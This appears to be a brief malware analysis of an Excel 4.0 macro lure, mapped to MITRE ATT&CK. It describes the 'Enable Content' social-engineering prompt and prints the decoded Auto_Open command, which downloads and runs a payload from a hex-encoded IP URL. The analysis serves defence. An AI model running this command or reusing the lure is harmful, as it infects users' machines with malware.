MITRE ATT&CK
T1204.002 Malicious File
T1059.005 Service Execution: Visual Basic
The sample is an Excel 4.0 macro sheet (XLM) that uses an Auto_Open function to execute a command. The document body explicitly instructs the user to "Enable Editing" and "Enable Content" to bypass security warnings. The extracted macro reveals a command that reconstructs to 'cmd /c msh a http://0xc12a24f5/c.html', indicating it downloads and executes a payload from the specified URL. This is a common lure for macro-based malware delivery.
